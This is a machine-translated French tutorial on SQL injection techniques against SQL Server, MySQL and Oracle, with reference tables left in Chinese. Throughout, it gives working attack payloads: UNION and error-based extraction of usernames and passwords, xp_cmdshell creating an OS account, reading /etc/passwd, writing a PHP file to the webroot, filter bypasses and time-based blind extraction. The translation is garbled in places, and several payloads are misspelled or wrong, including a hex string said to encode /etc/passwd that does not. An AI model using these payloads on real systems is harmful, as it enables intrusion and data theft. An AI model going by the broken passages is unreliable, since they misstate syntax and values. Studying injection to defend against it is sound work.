Les trois méthodes d'injection SQL sont : 1. Injection numérique ; lorsque le paramètre d'entrée est un entier, il peut y avoir une vulnérabilité d'injection numérique. 2. Injection de caractères ; lorsque le paramètre d’entrée est une chaîne, une vulnérabilité d’injection de caractères peut exister. 3. Autres types (par exemple : injection de recherche, injection de cookies, injection POST, etc.).
Principe d'injection SQL
L'attaque par injection SQL fait référence à la construction d'une entrée spéciale Passé dans le application Web en tant que paramètres, la plupart de ces entrées sont des combinaisons dans la syntaxe SQL. En exécutant des instructions SQL, l'attaquant effectue les opérations requises. La raison principale est que le programme ne filtre pas soigneusement les données saisies par l'utilisateur, ce qui entraîne des données illégales. système d’intrusion.
Classification des injections SQL
Injection numérique
Quand les paramètres d'entrée sont des entiers, il peut y avoir une vulnérabilité d'injection numérique.
Supposons qu'il existe une URL : HTTP://www.aaa.com/test.php?id=1
Vous pouvez deviner l'instruction SQL en arrière-plan comme : SELECT * FROM table WHERE id=1
Déterminez le point d'injection SQL de la vulnérabilité numérique :
① Entrez d'abord un guillemet simple '
dans la zone de saisie. L'instruction SQL deviendra :
, SELECT * FROM table WHERE id=1'
② Saisissez and 1 = 1
SELECT * FROM table WHERE id=1 and 1 = 1
③ Entrez and 1 = 2
SELECT * FROM table WHERE id=1 and 1 = 2
2. Injection de caractères
Lorsque le paramètre d'entrée est une chaîne, une vulnérabilité d'injection de caractères peut exister. La plus grande différence entre l'injection numérique et l'injection de caractères est que les types numériques n'ont pas besoin d'être fermés par des guillemets simples, tandis que les types de caractèresdoivent généralement être fermés par des guillemets simples.
La chose la plus critique à propos de l'injection de caractères est de savoir commentfermer l'instruction SQL et commenter le code redondant.
Supposons que l'instruction SQL d'arrière-plan soit la suivante :SELECT * FROM table WHERE username = 'admin'
Déterminez le point d'injection SQL de la vulnérabilité du caractère :
① Ou entrez d'abord des guillemets simples pour tester l'instruction SQL de admin'
. SELECT * FROM table WHERE username = 'admin''
② Entrée : admin' and 1 = 1 --
après admin, qui est utilisé pour fermer la chaîne, et enfin il y a un caractère de commentaire '
(--
Il y a un espace après les deux barres !!!).
SELECT * FROM table WHERE username = 'admin' and 1 = 1 --
③ Entrée : admin' and 1 = 2 --
SELECT * FROM table WHERE username = 'admin' and 1 = 2 --
3. Autres types
En fait, je pense qu'il n'y a que deux types d'injection SQL : numérique et caractère. Beaucoup de gens peuvent dire qu'il existe d'autres méthodes telles que : l'injection de cookies, l'injection POST, l'injection retardée, etc.C'est effectivement le cas, mais ces types d'injections ne sont en fin de compte que différentes formes de présentation d'injections numériques et de caractères ou différents emplacements d'injection.
Injections de base de données courantes
Pour l'injection de base de données, les attaquants utilisent simplement la base de données pour obtenir plus de données ou des autorisations plus importantes. dans les catégories suivantes :Voici les injections de trois bases de données : Oracle 11g, MySQL 5.1 et SQL Server 2008.
SQL Server
1. Utiliser les messages d'erreur pour extraire les informations
La base de données SQL Server est a Une très bonne base de données, capable de localiser avec précision les informations sur les erreurs, est une très bonne chose pour les attaquants, car ceux-ci peuvent extraire les données qu'ils souhaitent via des messages d'erreur.
① Énumérer la table ou la colonne actuelle
Supposons qu'une telle table existe :
Interroger les détails de la racine Informations utilisateur, la proposition de l'instruction SQL est la suivante : SELECT * FROM user WHERE username = 'root' AND password = 'root'
Un attaquant peut utiliser les fonctionnalités de SQL Server pour obtenir des informations sensibles, saisissez l'instruction suivante dans la zone de saisie : ' having 1 = 1 --
Exécution finale L'instruction SQL deviendra : SELECT * FROM user WHERE username = 'root' AND password = 'root' HAVING 1 = 1 --
Ensuite, l'exécuteur SQL peut renvoyer une erreur :
L'attaquant peut découvrir le courant Le nom de la table est user et l'identifiant du champ existe.
Un attaquant peut utiliser cette fonctionnalité pour continuer à obtenir d'autres noms de colonnes en saisissant l'instruction suivante : ' GROUP BY users.id HAVING 1 = 1 --
L'instruction SQL devient alors :SELECT * FROM user WHERE username = 'root' AND password = 'root' GROUP BY users.id HAVING 1 = 1 --
Throw Une erreur s'est produite :
À partir de là, vous pouvez voir que le nom de la colonne nom d'utilisateur est inclus. Vous pouvez interroger de manière récursive une fois jusqu'à ce qu'aucun message d'erreur ne soit renvoyé. Vous pouvez donc utiliser la clause HAVING pour obtenir tous les noms de colonnes de la table actuelle.
Remarque : Chaque colonne spécifiée par Select doit apparaître dans la clause Group By, sauf si une fonction d'agrégation est utilisée pour cette colonne
② Extraction à l'aide d'erreurs de type de données Données.
L'éditeur SQL lèvera une exception si vous essayez de comparer une chaîne à une non-chaîne, ou de convertir une chaîne en un autre type incompatible.
L'instruction SQL suivante : SELECT * FROM user WHERE username = 'abc' AND password = 'abc' AND 1 > (SELECT TOP 1 username FROM users)
Message d'erreur de l'exécuteur :
De cette façon, vous pouvez obtenir le nom d'utilisateur root. Parce que dans la sous-requête SELECT TOP 1 username FROM users
, le premier nom d'utilisateur interrogé est renvoyé. Le type de retour est de type varchar, puis il est comparé à 1 de type int. Les deux types de données différents ne peuvent pas être comparés et une erreur est signalée. conduit à une violation de données.
Utilisez cette méthode pour dériver de manière récursive toutes les informations du compte : SELECT * FROM users WHERE username = 'abc' AND password = 'abc' AND 1 > (SELECT TOP 1 username FROM users WHERE not in ('root'))
.
En construisant cette instruction, vous pouvez obtenir le nom d'utilisateur suivant ; si vous remplacez le nom d'utilisateur dans la sous-requête par d'autres noms de colonnes, vous pouvez obtenir les informations d'autres colonnes, qui ne seront pas décrites ici.
2. Obtenir des métadonnées
SQL Server fournit un grand nombre de vues pour faciliter l'obtention de métadonnées. Vous pouvez d'abord deviner le nombre de colonnes dans la table, puis utiliser UNION pour construire une instruction SQL afin d'obtenir les données.
Par exemple : SELECT *** FROM *** WHERE id = *** UNION SELECT 1, TABLE_NAME FROM INFORMATION_SCHEMA.TABLES
Si le nombre de colonnes dans la table actuelle est de 2, vous pouvez utiliser l'instruction UNION pour obtenir la table de base de données actuelle. Comment deviner le nombre de colonnes dans le tableau actuel sera décrit plus tard.
Quelques vues de base de données système couramment utilisées :
数据库视图 | 说明 |
---|---|
SYS.DATABASES | SQL Server 中的所有数据库 |
SYS.SQL_LOGINS | SQL Server 中的所有登录名 |
INFORMATION_SCHEMA.TABLES | 当前用户数据库中的所有数据表 |
INFORMATION_SCHEMA.COLUMNS | 当前用户数据库中的所有列 |
SYS.ALL_COLUMNS | 用户定义对象和系统对象的所有列的联合 |
SYS.DATABASE_PRINCIPALS | 数据库中每个权限或列异常权限 |
SYS.DATABASE_FILES | 存储在数据库中的数据库文件 |
SYSOBJECTS | 数据库中创建的每个对象 (包括约束、日志以及存储过程) |
3. La clause ORDER BY devine le nombre de colonnes
Vous pouvez utiliser l'instruction ORDER BY pour déterminer le nombre de colonnes dans la table actuelle.
Par exemple :
① SELECT * FROM users WHERE id = 1
- L'exécution SQL est normale
②SELECT * FROM users WHERE id = 1 ORDER BY 1
(triée par la première colonne) - L'exécution SQL est normale
③ SELECT * FROM users WHERE id = 1 ORDER BY 2
(trié par la deuxième colonne) - L'exécution SQL est normale
④ SELECT * FROM users WHERE id = 1 ORDER BY 3
(triée par la troisième colonne) - L'exécution SQL est normale
⑤ SELECT * FROM users WHERE id = 1 ORDER BY 4
(triée par la quatrième colonne Tri des colonnes) - SQL lève une exception :
On peut en conclure que le nombre de colonnes dans la table actuelle n'est que de 3, car une erreur se produit lors du tri par la 4ème colonne. Cette méthode s'applique également aux bases de données Oracle et MySql.
Après avoir connu le nombre de colonnes, l'attaquant coopère généralement avec le mot-clé UNION pour mener l'attaque suivante.
4. Requête UNION
Le mot-clé UNION combine deux résultats de requête ou plus en un seul ensemble de résultats. La plupart des bases de données prennent en charge les requêtes UNION. Cependant, les règles de base pour fusionner deux résultats à l'aide de UNION sont les suivantes :
① Utilisez la requête UNION pour deviner le nombre de colonnes
Non seulement vous pouvez utiliser la méthode ORDER BY pour deviner le nombre de colonnes, mais la méthode UNION peut également être utilisé.
Il y a 5 colonnes dans la table utilisateur supposée précédemment. Si nous utilisons UNION pour interroger : SELECT * FROM users WHERE id = 1 UNION SELECT 1
La base de données émettra une exception :
Peut Si vous effectuez une requête récursive jusqu'à ce qu'aucune erreur ne se produise, vous pouvez connaître le nombre de champs de requête dans la table User : UNION SELECT 1,2
, UNION SELECT 1,2,3
Vous pouvez également modifier le nombre après SELECT en null, de sorte que les erreurs sont moins susceptibles de se produire.
② Requête conjointe pour les informations sensibles
Après avoir su que le nombre de colonnes est de 4, vous pouvez utiliser l'instruction suivante pour continuer l'injection : UNION SELECT 'x', null, null, null FROM SYSOBJECT WHERE xtype='U'
(Remarque : xtype='U' Indique que le type d'objet est une table)
Si le type de données de la première colonne ne correspond pas, la base de données signalera une erreur et vous pourrez interroger de manière récursive jusqu'à ce que les instructions soient compatibles. Lorsque l'instruction est exécutée normalement, vous pouvez remplacer x par une instruction SQL pour interroger des informations sensibles.
5. Utilisez les fonctions système fournies par SQL Server
SQL Server fournit de nombreuses fonctions système, qui peuvent être utilisées pour accéder aux informations dans le système SQL Server. tables, sans utiliser d'instructions de requête SQL.
Par exemple :
6. Procédure stockée
La procédure stockée est un ensemble de "fonctions" SQL utilisées pour exécuter des fonctions spécifiques dans les grands systèmes de bases de données, tels que : exécuter des commandes système, afficher le registre, lire les répertoires du disque, etc.
La procédure stockée la plus couramment utilisée par les attaquants est "xp_cmdshell", qui permet aux utilisateurs d'exécuter des commandes du système d'exploitation.
Par exemple : S'il y a un point d'injection dans http://www.aaa.org/test.aspx?id=1
, alors l'attaquant peut mettre en œuvre l'attaque par commande : http://www.aaa.org/test.aspx?id=1;exec xp_cmdshell 'net user test test /add'
L'instruction SQL finale exécutée est la suivante :
SELECT * FROM table WHERE id=1; exec xp_cmdshell 'net user test test /add'
L'instruction après le point-virgule permet à l'attaquant de créer un nouvel utilisateur sur le serveur de l'autre partie avec le test du nom d'utilisateur et le test du mot de passe.
Remarque : aucun utilisateur de base de données ne peut utiliser ce type de procédure stockée, L'utilisateur doit détenir l'autorisation CONTROL SERVER.
Les procédures stockées dangereuses courantes sont les suivantes :
存储过程 | 说明 |
---|---|
sp_addlogin | 创建新的 SQL Server 登录,该登录允许用户使用 SQL Server 身份连接到 SQL Server 实例 |
sp_dropuser | 从当前数据库中删除数据库用户 |
xp_enumgroups | 提供 Microsoft Windows 本地组列表或在指定的 Windows 域中定义全局组列表 |
xp_regread | 读取注册表 |
xp_regwrite | 写入注册表 |
xp_redeletevalue | 删除注册表 |
xp_dirtree | 读取目录 |
sp_password | 更改密码 |
xp_servicecontrol | 停止或激活某服务 |
De plus, toute base de données nécessite des autorisations spécifiques lors de l'utilisation de certaines fonctions spéciales ou procédures stockées. Les rôles et autorisations courants de la base de données SQL Server sont les suivants :
角色 | 权限 |
---|---|
bulkadmin | 可以运行 BULK INSERT 语句 |
dbcreator | 可以创建、更改、删除和还原任何数据库 |
diskadmin | 可以管理磁盘文件 |
processadmin | 可以种植在数据库引擎中运行的实例 |
securityadmin | 可以管理登录名及其属性;可以利用 GRANT、DENY 和 REVOKE 服务器级别的权限;还可以利用 GRANT、DENY 和 REVOKE 数据库级别的权限;此外也可以重置 SQL Server 登录名的密码 |
serveradmin | 可以更改服务器范围的配置选项和关闭服务器 |
setupadmin | 可以添加和删除链接服务器,并可以执行某些系统存储过程 |
sysadmin | 可以在数据库引擎中执行任何活动 |
7. Exécution dynamique
SQL Server prend en charge l'exécution dynamique des instructions. Les utilisateurs peuvent soumettre une chaîne pour exécuter des instructions SQL.
Par exemple : exec('SELECT username, password FROM users')
Vous pouvez également définir une instruction SQL hexadécimale et utiliser la fonction exec pour l'exécuter. La plupart des applications Web et des pare-feu filtrent les guillemets simples. L'utilisation de exec pour exécuter des instructions SQL hexadécimales peut contourner de nombreux pare-feu et programmes anti-injection, tels que :
declare @query varchar(888) select @query=0x73656C6563742031 exec(@query)
ou : declare/**/@query/**/varchar(888)/**/select/**/@query=0x73656C6563742031/**/exec(@query)
MySQL
Le processus d'injection de SQL Server a été décrit en détail précédemment. Lors de l'injection dans d'autres bases de données, l'idée de base est la même, à l'exception des fonctions ou des instructions. utilisés par les deux sont légèrement différents.
1. Commentaires dans MySQLMySQL prend en charge les 3 styles de commentaires suivants :
« # » : les commentaires commencent par « # » Jusqu'à la fin de la ligneMySQL 5.0 et supérieur fournissent INFORMATION_SCHEMA, qui est une base de données d'informations. Permet d'accéder aux métadonnées de la base de données. Voici comment lire le nom de la base de données, le nom de la table et le nom de la colonne.
① Interroger le nom de la base de données utilisateur
La table INFORMATION_SCHEMA.SCHEMATA fournit des informations sur la base de données. SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA
②Interroger la table de données actuelle
La table INFORMATION_SCHEMA.TABLES donne des informations sur les tables de la base de données. SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA = (SELECT DATABASE())
③Interroger tous les champs de la table spécifiée
INFORMATION_SCHEMA.COLUMNS Les informations sur les colonnes du tableau sont données dans le tableau. SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = '***'
est à peu près la même que SQL Server et ne sera pas décrite ici.
4. Utilisation des fonctions MySQLQu'il s'agisse de MySQL, d'Oracle ou d'autres bases de données, il existe de nombreuses fonctions système intégrées. , nous en présenterons quelques-unes qui sont utiles aux testeurs d'intrusion.
① La fonction Load_file() lit l'opération de fichierMySQL fournit la fonction Load_file() pour aider les utilisateurs à lire rapidement les fichiers, mais l'emplacement du fichier doit être sur le server , le fichier doit être un chemin absolu et l'utilisateur doit disposer de l'autorisation FILE et la capacité du fichier doit être inférieure à max_allowed_packet octets (la valeur par défaut est de 16 Mo, le maximum est de 1 Go).
L'instruction SQL est la suivante :
UNION SELECT 1, load_file('/etc/passwd'), 3, 4 #
Habituellement, certaines instructions anti-injection n'autorisent pas l'apparition de guillemets simples, vous pouvez donc utiliser l'instruction suivante pour la contourner :
"0x2F6561342F706173737764" est le résultat de la conversion hexadécimale de "/etc/passwd". UNION SELECT 1, load_file(0x2F6561342F706173737764), 3, 4 #
Lorsque le navigateur renvoie des données, il peut y avoir des caractères tronqués, vous pouvez donc utiliser la fonction hex() pour convertir la chaîne en données hexadécimales.
MySQL fournit l'opération d'écriture de fichiers sur le disque Comme load_file(), vous devez disposer des autorisations FILE et le fichier doit être plein. . Nom du chemin.
Écrire le fichier :
SELECT '<?php phpinfo();?>' into oufile 'C:wwwroot1.php'
MySQL Si vous devez interroger plusieurs données en même temps, vous pouvez utilisez la fonction concat() ou concat_ws() pour terminer.
;SELECT name FROM student WHERE id = 1 UNION SELECT concat(user(), ',', database(), ',', version())
Vous pouvez également changer la virgule en représentation hexadécimale : 0x2c
MySQL dispose également d'une injection d'erreurs explicite, qui peut utiliser des erreurs pour extraire des messages, tout comme la base de données SQL Server.
① Exécuter des instructions SQL via la fonction updatexmlComprenez d'abord la fonction updatexml() :
updatexml (XML_document, XPath_string, new_value);Premiers paramètres : XML_document est au format String, qui est le nom de l'objet document XML ;
Le deuxième paramètre : XPath_string (chaîne au format Xpath),
Le troisième paramètre : new_value, au format String, remplace la correspondance trouvée. La fonction concat() des données conditionnelles
les concatène en une chaîne, elle ne sera donc pas conforme au format de XPATH_string, ce qui entraînera des erreurs de format, des erreurs et un affichage méconnaissable : SELECT * FROM message WHERE id = 1 and updatexml(1, (concat(0x7c, (SELECT @@version))), 1)
② Utilisez la fonction extractvalue SEELCT * FROM message WHERE id= 1 AND extravtvalue(1, concat(0x7c, (SELECT user())))
pour afficher l'utilisateur actuel avec la même erreur :
6. Injection d'octets larges
L'injection d'octets larges est causée par une incohérence d'encodage Cette injection se produit généralement en PHP + MySQL.
Il existe une option magic_quotes_gpc dans le fichier de configuration PHP php.ini, qui s'appelle magic quotes. Lorsque cette option est activée, utilisez des guillemets simples ('), des guillemets doubles acceptés par GET, POST. , et Cookie. Les guillemets ("), la barre oblique inverse () et les caractères NULL sont automatiquement échappés avec une barre oblique inverse .
Utilisez le code PHP comme suit pour utiliser $_GET pour recevoir les paramètres :
Si vous accédez à l'URL : http:/www.xxser.com/Get.php?id='
, elle s'affichera comme suit :
Une fois le guillemet simple '
échappé, il devient '
. Dans MySQL, '
est un caractère légal, il n'y a donc aucun moyen de fermer le guillemet simple. Par conséquent, lorsque le type d'injection est de type caractère,
ne peut pas être injecté. : %d5'
, l'URL d'accès : http:/www.xxser.com/Get.php?id=%d5'
sera affichée comme suit :
Vous pouvez constater que les guillemets simples ne sont pas échappés cette fois, vous pouvez donc percer l'échappement PHP et continuer. pour fermer l'instruction SQL pour l'injection SQL.
7. Troncation des caractères longs MySQL
La troncature des caractères longs MySQL est également connue sous le nom de « troncature de colonne SQL ». 🎜>Il existe une option sql_mode dans un paramètre de MySQL. Lorsque sql_mode est défini par défaut, c'est-à-dire que lorsque l'option STRICT - ALL_TABLES n'est pas activée, MySQL affichera uniquement un avertissement au lieu d'une erreur lors de l'insertion d'une valeur trop longue. .
champ nom d'utilisateur.
① Insérez le. Instruction SQL normale : INSERT users(id, username, password) VALUES(1, 'admin', 'admin');
Insérer avec succès. Insérez la mauvaise instruction SQL afin que la longueur du champ du nom d'utilisateur dépasse 7 :
INSERT users(id, username, password) VALUES(2, 'admin ', 'admin');
Bien qu'il y ait un avertissement, l'insertion a réussi
③ Essayez à nouveau d'insérer une erreur. La longueur de l'instruction SQL dépasse la longueur spécifiée d'origine :
INSERT users(id, username, password) VALUES(3, 'admin x), 'admin;
Interrogez la base de données :
Vous pouvez voir que les trois éléments de données sont insérés dans la base de données, mais la valeur change par défaut, si les données dépassent la longueur par défaut. , MySQL va le mettre en scène. Mais comment attaquer l'utilisateur nommé admin ?
On peut constater que seul l'utilisateur nommé admin est interrogé, mais les deux autres utilisateurs admin avec des longueurs incohérentes sont également interrogés, ce qui posera des problèmes de sécurité
Par exemple, il y a un administrateur qui porte ce jugement lors de la connexion :
$sql = "SELECT count(*) FROM users WHERE username = 'admin' AND password = '***'";
8. Injection retardée
Il existe une fonction dans MySQL : sleep(duration). Cette fonction permet d'exécuter l'instruction après que le paramètre de durée soit donné pendant quelques secondes. L'instruction SQL suivante :
signifie que l'instruction sera exécutée dans 3 secondes. Exécutez ensuite l'instruction SQL.
Vous pouvez utiliser cette fonction pour déterminer si l'URL présente une vulnérabilité d'injection SQL Les étapes sont les suivantes :
Cela peut être conclu à partir du monde renvoyé par le. page sur laquelle le SGBD a exécuté l'instruction and sleep(3)
De cette manière, il peut être déterminé que l'URL présente une vulnérabilité d'injection SQL.
Ensuite, les données peuvent également être lues via la fonction sleep(), mais cela nécessite la coopération d'autres fonctions :
①Interrogez l'utilisateur actuel et obtenez la longueur de la chaîne.
Exécutez l'instruction SQL : AND if(length(user()) = 0, sleep(3), 1)
S'il y a un délai de 3 secondes, la longueur de la chaîne utilisateur peut être jugée. Lors de l'injection, l'algorithme demi est généralement utilisé pour réduire. le jugement.
② Interceptez le premier caractère de la chaîne et convertissez-le en code ASCII AND if(hex(mid(user(), 1, 1)) = 1, sleep(3), 1)
AND if(hex(mid(user(), 1, 1)) = 2, sleep(3), 1)
......
Changez continuellement le code ASCII jusqu'à il y a un délai de 3 secondes. Vous pouvez deviner le premier caractère.
③ Interceptez récursivement chaque caractère de la chaîne et comparez-le respectivement avec le code ASCII AND if(hex(mid(user(), L, 1)) = N, sleep(3), 1)
Remarque : la position de L représente le caractère de la chaîne et la position de N représente le code ASCII.
Non seulement les fonctions de délai existent dans MySQL, mais il existe également des fonctions avec des fonctions similaires dans des bases de données telles que SQL Server et Oracle, telles que le délai d'attente dans SQL Server et DBMS_LOCK.SLEEP dans Oracle.
Oracle
1. Obtenir des métadonnées
Oracle prend également en charge l'interrogation des métadonnées, comme suit. est une vue de métadonnées couramment utilisée injectée par Oracle :
① vue user_tablespaces, afficher les espaces table SELECT tablespace_name FROM user_tablespaces
② vue user_tables, afficher toutes les tables de l'utilisateur actuel SELECT table_name FROM user_tables WHERE rownum = 1
③ vue user_tab_columns, affichez toutes les colonnes de l'utilisateur actuel, par exemple en interrogeant toutes les colonnes de la table utilisateur : SELECT column_name FROM user_tab_columns WHERE table_name = 'users'
④ vue all_users, affichez tous les utilisateurs de la base de données ORacle SELECT username FROM all_users
⑤ vue user_objects, affiche tous les objets (noms de table, contraintes, index) de l'utilisateur actuel SELECT object_name FROM user_objects
2.
Oracle, comme MySQL, ne prend pas en charge l'exécution de plusieurs instructions contrairement à SQL Server, qui peut être séparé par des points-virgules pour injecter plusieurs instructions SQL.
① Obtenir le nombre total de colonnes
La méthode pour obtenir le nombre total de colonnes est similaire aux deux bases de données précédentes, et peut toujours être effectuée en utilisant la clause ORDER BY.
Une autre méthode consiste à utiliser le mot clé UNION pour déterminer, mais Oracle stipule que chaque requête doit être suivie du nom de la table, sinon la requête ne sera pas établie .
Peut être utilisé dans Oracle : UNION SELECT null, null, null …… FROM dual
Le dual ici est une table virtuelle dans Oracle Vous pouvez utiliser cette table comme table de requête sans savoir quelles tables existent dans la base de données.
Ensuite, récupérez la colonne de type non numérique, c'est-à-dire que peut afficher la colonne d'informations : UNION SELECT 'null', null, null, …… FROM dual
UNION SELECT null, 'null', null, …… FROM dual
Mettre chaque chiffre null
est entouré de guillemets simples ' tour à tour. Si rapporte une erreur, ce n'est pas une colonne de type chaîne si renvoie normal, c'est une colonne de type chaîne , et vous pouvez saisir l'instruction Insérer la requête correspondante à l'emplacement pour obtenir les informations.
② Obtenir des informations sensibles Les informations sensibles courantes sont les suivantes :
SELECT * FROM session_roles
SELECT banner FROM sys.v_$version WHERE rownum = 1
utl_http.request
SELECT utl_inaddr.get_host_address FROM dual
SELECT member FROM v$logfile WHERE rownum = 1
SELECT instance_name FROM v$instance
SELECT SYS_CONTEXT('USERENV', 'CURRENT_USER') FROM dual
③ Obtenez la table de la base de données et son contenu Obtenez le table Après le nombre de colonnes, vous pouvez interroger le nom de la table et le nom de la colonne en interrogeant les métadonnées, puis interroger les données, telles que : http://www.aaa.org/new.jsp?id=1 UNION SELECT username, password, null FROM users --
Remarque : lors de l'interrogation de données, vous devez également faire attention à le type de données, sinon la requête ne peut pas être effectuée. Vous ne pouvez tester qu'un par un et modifier la position de requête des paramètres.
Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!